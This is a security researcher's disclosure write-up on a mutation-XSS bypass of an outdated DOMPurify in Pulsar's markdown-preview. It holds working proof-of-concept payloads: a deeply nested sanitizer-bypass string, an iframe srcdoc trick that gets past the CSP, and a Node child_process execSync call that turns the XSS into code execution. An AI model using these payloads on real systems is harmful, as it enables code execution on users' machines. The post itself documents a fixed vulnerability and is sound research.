When Purification Fails: Exploiting DOMPurify’s Leftovers
28 May 2025
Introduction
Pulsar is a community-driven fork of Atom, created to keep the beloved text editor alive after GitHub announced its deprecation. For years, Atom was a favorite among developers, known for its flexibility, hackability, and strong package ecosystem. But with Microsoft shifting focus to VS Code, Atom was officially discontinued in 2022.
Pulsar utilizes the same packages used by Atom, and not all among those are maintained. Among those unmaintained packages is the markdown-preview
package, which is used to render your markdown document on demand. The markdown-preview
version used in Pulsar/Atom was last updated 3 years ago, and utilizes a very outdated version of DOMPurify (2.0.17
).
DOMPurify is a widely used JavaScript library designed to sanitize HTML and mitigate Cross-Site Scripting (XSS) attacks. However, on April 26, 2024, security researcher @IcesFont discovered a bypass affecting DOMPurify versions ≤ 3.1.0.
This bypass allowed malicious input to evade DOMPurify’s sanitization, enabling attackers to inject and execute arbitrary JavaScript. While this issue was quickly patched upstream, many projects using older versions remained vulnerable—including Pulsar.
Background
The DOMPurify vulnerability happened because of how browsers handle nested depth in HTML, which led to node flattening. As explained by Kevin Mizu, when deeply nested elements are processed, browsers automatically restructure and flatten the DOM, sometimes altering the input in ways that security mechanisms like DOMPurify did not anticipate.
This behavior allowed to craft input that looked safe before sanitization but transformed into executable JavaScript after the browser processed it, leading to Mutation XSS (mXSS).
A very simple example of browser mutation is when the browser fixes the markup on its own, for example, if we input the following into an HTML file:
<p> input
<div id=test> input
The browser automatically corrects the structure, transforming it into:
In this case, the browser inserts a missing closing </p> tag where it believes it should go.
This kind of automatic restructuring is normally harmless, but in some cases, it can be exploited, especially in security-critical features like HTML sanitization.
The Vulnerability - Pulsar XSS
As indicated, Pulsar relies on markdown-preview
to render user-provided Markdown input. While the DOMPurify
vulnerability was patched by the Cure53 team, Pulsar’s markdown-preview
was inherited from Atom and remains unpatched.
"dependencies": {
"cheerio": "^1.0.0-rc.3",
"dompurify": "^2.0.17",
...
}
in markdown-preview
, DOMPurify can be seen being utilized in lib/renderer.js
:
html = createDOMPurify().sanitize(html, {
ALLOW_UNKNOWN_PROTOCOLS: atom.config.get(
'markdown-preview.allowUnsafeProtocols'
)
})
With debugging established and a breakpoint set on the line above, This can be confirmed by inputting anything in the editor and viewing it in markdown:
If we simply try to reproduce the bypass, it wont work on the spot, this is because our input is being parsed many times before it gets to the DOMPurify.sanitize
and finally being inserted in a template
tag:
Bypassing the sanitization
Normally, a payload like the one below should work on affected versions:
However, since we’re working with version 2.0.17
, the result is:
Notice how the cleaned DOM no longer contains the payload. This appears to be due to a discrepancy between the two versions, preventing the payload from working immediately. However, there are variants to the bypass:
var n = 503;
var payload = `
${"<form><h1></form><table><form></form></table></form></table></h1></form>\n".repeat(n)}
<a>
<svg>
<desc>
<svg>
<image>
<a>
<desc>
<svg>
<image></image>
</svg>
</desc>
</a>
</image>
<title><a id="</title><img src=x onerror=alert(1)>"></a></title>
</svg>
</desc>
</svg>
</a>
`;
Pasting this showed that the payload was actually being inserted as expected because of the deep nesting
After this is being parsed, the mutation should succeed and our payload should slip the sanitizer, however, this triggered a CSP error:
Bypassing the CSP
Upon tracing the CSP, it was found within a <meta>
tag:
<meta
http-equiv="Content-Security-Policy"
content="default-src * atom://*; img-src blob: data: * atom://*;
script-src 'self' 'unsafe-eval'; style-src 'self' 'unsafe-inline';
media-src blob: data: mediastream: * atom://*;">
Right off the bat, you can see that script-src
allows scripts from 'self'
. This means we can load arbitrary scripts internally.
However, due to deep nesting and the use of an innerHTML
sink, the <script>
tag wasn’t rendered correctly, causing the payload to fail. A quick workaround is to use an <iframe>
with srcdoc
, then access the parent using the top
reference:
var n = 503;
var payload = `
${"<form><h1></form><table><form></form></table></form></table></h1></form>\n".repeat(n)}
<a>
<svg>
<desc>
<svg>
<image>
<a>
<desc>
<svg>
<image></image>
</svg>
</desc>
</a>
</image>
<title><a id="</title><iframe srcdoc='<script src=/tmp/test.js></script>'"></a></title>
</svg>
</desc>
</svg>
</a>
`;
As a proof-of-concept, the following user agent alert script is saved in /tmp/test.js
.
alert(navigator.userAgent);
When the mXSS payload is rendered as markdown in Pulsar, the script in /tmp/test.js
is executed and an alert with the user agent is popped:
Turning XSS into RCE
Unlike traditional web applications, Electron apps bundle a full Chromium-based environment with access to Node.js APIs, making them far more powerful—but also more dangerous when exploited. In a standard browser, an XSS attack is usually limited to stealing cookies or modifying page content. However, in Electron apps like Pulsar, the security implications are far worse.
This is because Electron can provide access to Node.js
APIs, which means that if an attacker can execute JavaScript inside an Electron app, they may also be able to run system commands, read files, or manipulate the OS under certain configurations.
The nodeIntegration Problem/Feature
One of the biggest security risks in Electron applications is nodeIntegration
, a setting that controls whether renderer processes (web pages inside the app) have direct access to Node.js.
By default, nodeIntegration is disabled for security reasons, but in some Electron apps (including older versions of Atom/Pulsar) developers may choose to enable it, which allows injected JavaScript to access powerful system APIs.
Electron explicitly warns against enabling nodeIntegration
However, since some applications enable these settings for convenience or legacy reasons. In Pulsar, the Electron app is initialized with specific configurations. Below is the actual setup used to launch Electron:
const options = {
webPreferences: {
..
disableBlinkFeatures: 'Auxclick',
nodeIntegration: true,
contextIsolation: false,
..
},
simpleFullscreen: this.getSimpleFullscreen()
};
This means we can directly access the Nodejs
functions, enabling us to execute code using the following snippet:
top.require('child_process').execSync('xcalc');

Loading Arbitrary Scripts
In the previous Proof-of-Concept, the main limitation was that you had to create a file on the filesystem and load it using a <script src="...">
tag. However, on Linux, we can take advantage of /proc/self/cwd/
, which points to the current working directory. This means we can have two files, one as the main PoC and another as the JavaScript payload. Instead of specifying an absolute path, we can simply load the script using:
<script src="/proc/self/cwd/poc.js"></script>
Conclusion
This was reported to the Pulsar maintainers of Pulsar and was subsequently fixedaddressed in the v1.128 release release.. It was caused by the use of an outdated DOMPurify version (v2.0.17), which did not properly sanitize comment patterns inside attributes, allowing a mutation-based XSS.
The issue has since been mitigated upstream in DOMPurify. As of version v3.2.6, the fix relies on the following regex check to prevent similar input from slipping through:
/* Work around a security issue with comments inside attributes */
if (SAFE_FOR_XML && regExpTest(/((--!?|])>)|<\/(style|title)/i, value)) {
...
This pattern is now the core safeguard preventing the same class of attacks.